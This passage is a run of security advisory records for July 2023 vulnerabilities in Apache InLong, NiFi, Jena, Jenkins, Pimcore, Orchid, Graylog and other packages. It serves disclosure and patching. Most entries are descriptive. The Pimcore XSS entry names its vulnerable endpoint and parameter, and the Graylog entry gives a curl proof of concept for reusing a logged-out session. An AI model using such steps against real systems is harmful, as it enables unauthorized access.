Published: 2023-07-25T09:30:17Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'org.apache.inlong:inlong-manager'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.4.0'}, {'fixed': '1.8.0'}]}]}]

Exposure of Resource to Wrong Sphere Vulnerability in Apache Software Foundation Apache InLong.This issue affects Apache InLong: from 1.4.0 through 1.7.0. The attacker could use general users to delete and update the process, which only the admin can operate occurrences. 

Users are advised to upgrade to Apache InLong's 1.8.0 or cherry-pick  https://github.com/apache/inlong/pull/8109  to solve it.
Apache NiFi Code Injection vulnerability (GHSA-r969-8v3h-23v9)
Aliases: CVE-2023-36542
Published: 2023-07-29T09:30:15Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'org.apache.nifi:nifi-cdc-mysql-bundle'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0.0.2'}, {'fixed': '1.23.0'}]}]}, {'package': {'ecosystem': 'Maven', 'name': 'org.apache.nifi:nifi-jms-processors'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0.0.2'}, {'fixed': '1.23.0'}]}]}, {'package': {'ecosystem': 'Maven', 'name': 'org.apache.nifi:nifi-standard-processors'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0.0.2'}, {'fixed': '1.23.0'}]}]}, {'package': {'ecosystem': 'Maven', 'name': 'org.apache.nifi:nifi-dbcp-service'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0.0.2'}, {'fixed': '1.23.0'}]}]}, {'package': {'ecosystem': 'Maven', 'name': 'org.apache.nifi:nifi-hikari-dbcp-service'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0.0.2'}, {'fixed': '1.23.0'}]}]}, {'package': {'ecosystem': 'Maven', 'name': 'org.apache.nifi:nifi-hadoop-dbcp-service'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0.0.2'}, {'fixed': '1.23.0'}]}]}, {'package': {'ecosystem': 'Maven', 'name': 'org.apache.nifi:nifi-hbase_2-client-service'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0.0.2'}, {'fixed': '1.23.0'}]}]}, {'package': {'ecosystem': 'Maven', 'name': 'org.apache.nifi:nifi-record-serialization-services'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0.0.2'}, {'fixed': '1.23.0'}]}]}]

Apache NiFi 0.0.2 through 1.22.0 include Processors and Controller Services that support HTTP URL references for retrieving drivers, which allows an authenticated and authorized user to configure a location that enables custom code execution. The resolution introduces a new Required Permission for referencing remote resources, restricting configuration of these components to privileged users. The permission prevents unprivileged users from configuring Processors and Controller Services annotated with the new Reference Remote Resources restriction. Upgrading to Apache NiFi 1.23.0 is the recommended mitigation.
Jenkins External Monitor Job Type Plugin XML external entity vulnerability (GHSA-g4c3-4f3v-84x8)
Aliases: CVE-2023-37942
Published: 2023-07-12T18:30:38Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'org.jenkins-ci.plugins:external-monitor-job'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '207.v98a'}]}]}]

Jenkins External Monitor Job Type Plugin 206.v9a_94ff0b_4a_10 and earlier does not configure its XML parser to prevent XML external entity (XXE) attacks.

This allows attackers with Item/Build permission to have Jenkins parse a crafted HTTP request with XML data that uses external entities for extraction of secrets from the Jenkins controller or server-side request forgery.

External Monitor Job Type Plugin 207.v98a_a_37a_85525 disables external entity resolution for its XML parser.
Pimcore admin UI vulnerable to Cross-site Scripting in 2 factor authentication setup page (GHSA-hqv9-6jqw-9g8m)
Aliases: CVE-2023-37280
Published: 2023-07-12T17:29:02Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Affected: [{'package': {'ecosystem': 'Packagist', 'name': 'pimcore/admin-ui-classic-bundle'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.0.3'}]}]}]

### Summary

Unauthenticated HTML Injection / XSS Possible.
Conditions: 2factor authentication must not set before

 Vulnerable Endpoint: /admin/login/2fa-setup

 Vulnerable Param: error=
How it works, So basically any admin, who has not setup 2 factor authentication before is vulnerable for this attack, without need for any form of privilege, causing the application to execute arbitrary scripts / HTML Contents.

Another potential attack vector, as it's a 2fa page and it has QR Code, attacker can replace this QR Code with something he has, leading to increase threat to the admin.

This attack can be used to execute arbitrary scripts or HTML Injection, causing the target application to execute these resulting in cookie steeling, defacement or Injecting phishing URLs on the target application.

### Patches
Update to version 1.0.3 or apply this patches manually
https://github.com/pimcore/admin-ui-classic-bundle/commit/5fcd19bdc89a3fe4cb8ad8c356590e1e4740c743.patch

### Workarounds
Apply patches manually: https://github.com/pimcore/admin-ui-classic-bundle/commit/5fcd19bdc89a3fe4cb8ad8c356590e1e4740c743.patch

### References
https://huntr.dev/bounties/1fa1cc3b-75ff-4d34-99ae-4a705eb623e7/
Apache Jena Expression Language Injection vulnerability (GHSA-j927-w6g7-7c7w)
Aliases: CVE-2023-32200
Published: 2023-07-12T09:30:53Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'org.apache.jena:jena'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '3.7.0'}, {'fixed': '4.9.0'}]}]}]

There is insufficient restrictions of called script functions in Apache Jena versions 4.8.0 and earlier. It allows a remote user to execute javascript via a SPARQL query. This issue affects Apache Jena from 3.7.0 through 4.8.0.
Apache Airflow Improper Input Validation vulnerability (GHSA-5946-8p38-vffp)
Aliases: CVE-2023-22888
Published: 2023-07-12T12:31:36Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Affected: [{'package': {'ecosystem': 'PyPI', 'name': 'apache-airflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.6.3'}]}]}]

Apache Airflow, versions before 2.6.3, is affected by a vulnerability that allows an attacker to cause a service disruption by manipulating the run_id parameter. This vulnerability is considered low since it requires an authenticated user to exploit it. It is recommended to upgrade to a version that is not affected
JDBC URL bypassing by allowLoadLocalInfileInPath param (GHSA-pq67-9jf9-hc3c)
Aliases: CVE-2023-34434
Published: 2023-07-25T09:30:18Z
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'org.apache.inlong:manager-pojo'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.4.0'}, {'fixed': '1.8.0'}]}]}]

Deserialization of Untrusted Data Vulnerability in Apache Software Foundation Apache InLong.This issue affects Apache InLong: from 1.4.0 through 1.7.0. 

The attacker could bypass the current logic and achieve arbitrary file reading. To solve it, users are advised to upgrade to Apache InLong's 1.8.0 or cherry-pick  https://github.com/apache/inlong/pull/8130 .
RuoYi vulnerable to Cross-site Scripting (GHSA-p4ww-j4pr-qw6q)
Aliases: CVE-2023-3815
Published: 2023-07-21T06:30:17Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'com.ruoyi:ruoyi'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'last_affected': '4.7.7'}]}]}]

A vulnerability, which was classified as problematic, has been found in y_project RuoYi up to 4.7.7. Affected by this issue is the function `uploadFilesPath` of the component `File Upload`. The manipulation of the argument `originalFilenames` leads to cross site scripting. The attack may be launched remotely. VDB-235118 is the identifier assigned to this vulnerability.
Apache StreamPark Path Traversal vulnerability (GHSA-6874-289g-f7h7)
Aliases: CVE-2022-45802
Published: 2023-07-06T19:24:19Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'org.apache.streampark:streampark-common_2.12'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.0.0'}]}]}, {'package': {'ecosystem': 'Maven', 'name': 'org.apache.streampark:streampark-common_2.11'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.0.0'}]}]}]

Streampark allows any users to upload a jar as application, but there is no mandatory verification of the uploaded file type. This means users may upload some high-risk files, and may upload them to any directory. Users of the affected versions should upgrade to Apache StreamPark 2.0.0 or later.
Orchid Deserialization of Untrusted Data vulnerability leads to Remote Code Execution (GHSA-ph6g-p72v-pc3p)
Aliases: CVE-2023-36825
Published: 2023-07-11T22:46:27Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected: [{'package': {'ecosystem': 'Packagist', 'name': 'orchid/platform'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '14.0.0-alpha4'}, {'fixed': '14.5.0'}]}]}]

Orchid is a Laravel package that allows application development of back-office applications, admin/user panels, and dashboards.

### Impact

A vulnerability present starting in version 14.0.0-alpha4 and prior to version 14.5.0 is related to the deserialization of untrusted data from the `_state` query parameter, which can result in remote code execution. This vulnerability is related to the deserialization of untrusted data from the `_state` query parameter, which can result in remote code execution.

### Patches

The issue has been addressed in version 14.5.0. Users are advised to upgrade their software to this version or any subsequent versions that include the patch. There are no known workarounds.

### Workarounds

In this case, it is recommended for users to upgrade to the patched version rather than relying on workarounds. Upgrading to the fixed version ensures that the vulnerability is no longer present and provides the best protection against remote code execution

### References

For more detailed information about this workaround and its effectiveness, users should consult the support channels provided by the software or system developer. They can provide specific guidance on implementing this workaround and any potential limitations or caveats associated with it.

----

This vulnerability was discovered by Vladislav Gladkiy (Positive Technologies)
Cockpit CMS Cross-Site Request Forgery vulnerability (GHSA-45g2-r339-pjwf)
Aliases: CVE-2023-37650
Published: 2023-07-20T21:30:59Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Affected: [{'package': {'ecosystem': 'Packagist', 'name': 'cockpit-hq/cockpit'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.6.0'}]}]}]

A Cross-Site Request Forgery (CSRF) in the Admin portal of Cockpit CMS v2.5.2 allows attackers to execute arbitrary Administrator commands.
Zinc Cross-site Scripting vulnerability (GHSA-4fgv-8448-gf82)
Aliases: CVE-2022-32171
Published: 2023-07-06T19:24:00Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Affected: [{'package': {'ecosystem': 'Go', 'name': 'github.com/zincsearch/zincsearch'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0.1.9'}, {'fixed': '0.3.2'}]}]}, {'package': {'ecosystem': 'Go', 'name': 'github.com/zinclabs/zinc'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0.1.9'}, {'fixed': '0.3.2'}]}]}]

In Zinc, versions v0.1.9 through v0.3.1 are vulnerable to Stored Cross-Site Scripting when using the delete user functionality. When an authenticated user deletes a user having a XSS payload in the user id field, the javascript payload will be executed and allow an attacker to access the user’s credentials.
Apache Ranger code execution vulnerability in policy expressions (GHSA-89gw-cffj-mqg9)
Aliases: CVE-2022-45048
Published: 2023-07-06T21:14:54Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'org.apache.ranger:ranger'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.3.0'}, {'fixed': '2.4.0'}]}], 'versions': ['2.3.0']}]

Authenticated users with appropriate privileges can create policies having expressions that can exploit code execution vulnerability. This issue affects Apache Ranger: 2.3.0. Users are recommended to update to version 2.4.0.
Fides Webserver Vulnerable to Zip Bomb File Uploads (GHSA-g95c-2jgm-hqc6)
Aliases: CVE-2023-37480
Published: 2023-07-18T19:22:18Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:L
Affected: [{'package': {'ecosystem': 'PyPI', 'name': 'ethyca-fides'}, 'ecosystem_specific': {'affected_functions': ['fides.api.service.connectors.saas.connector_registry_service.CustomConnectorTemplateLoader.save_template']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.11.0'}, {'fixed': '2.16.0'}]}]}]

### Impact
The Fides webserver is vulnerable to a type of Denial of Service (DoS) attack. Attackers can exploit a weakness in the connector template upload feature to upload a malicious zip bomb file, resulting in resource exhaustion and service unavailability for all users of the Fides webserver.

This vulnerability affects Fides versions `2.11.0` through `2.15.1`. Exploitation is limited to users with elevated privileges with the `CONNECTOR_TEMPLATE_REGISTER` scope, which includes root users and users with the owner role.

### Patches
The vulnerability has been patched in Fides version `2.16.0`. Users are advised to upgrade to this version or later to secure their systems against this threat.

### Workarounds
There is no known workaround to remediate this vulnerability without upgrading. If an attack occurs, the impact can be mitigated by manually or automatically restarting the affected container.

### References
More information about this type of vulnerability can be found at the following links:

- https://www.bamsoftware.com/hacks/zipbomb/
- https://python-security.readthedocs.io/security.html#archives-and-zip-bomb-cve-2019-9674
Graylog user session is still usable after logout (GHSA-3fqm-frhg-7c85)
Aliases: CVE-2023-41041
Published: 2023-07-06T20:47:54Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:N/A:N
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'org.graylog2:graylog2-server'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.0'}, {'fixed': '5.0.9'}]}]}, {'package': {'ecosystem': 'Maven', 'name': 'org.graylog2:graylog2-server'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '5.1.0'}, {'fixed': '5.1.3'}]}]}]

### Summary

In a multi-node Graylog cluster, after a user has explicitly logged out, a user session may still be used for API requests until it has reached its original expiry time.

### Details

Each node maintains an in-memory cache of user sessions. Upon a cache-miss, the session is loaded from the database. After that, the node operates solely on the cached session. Modifications to sessions will update the cached version as well as the session persisted in the database. However, each node maintains their isolated version of the session.

When the user logs out, the session is removed from the node-local cache and deleted from the database. The other nodes will however still use the cached session.

These nodes will only fail to accept the session id if they intent to update the session in the database. They will then notice that the session is gone. This is true for most API requests originating from user interaction with the Graylog UI because these will lead to an update of the session's "last access" timestamp.

If the session update is however prevented by setting the `X-Graylog-No-Session-Extension:true` header in the request, the node will consider the (cached) session valid until the session is expired according to its timeout setting.

### PoC
In a 2-node setup, with both nodes behind a load balancer:

1. Log in
1. Extract the session ID from the cookie
1. Log out and close the browser
1. Perform the following API request repeatedly with curl (with `<session-id>` replaced with the session id from step 2 and `<lb-host>` replaced with the hostname of your load balancer):
    ```
    curl -I -H X-Graylog-No-Session-Extension:true https://<session-id>:session@<lb-host>/api/system/cluster/nodes
    ```
1. Notice that the request is sometimes rejected, but sometimes succeeds


### Impact

No session identifiers are leaked.

After a user has logged out, the UI shows the login screen again, which gives the user the impression that their session is not valid anymore. However, if the session becomes compromised later, it can still be used to perform API requests against the Graylog cluster. The time frame for this is limited to the configured session lifetime, starting from the time when the user logged out.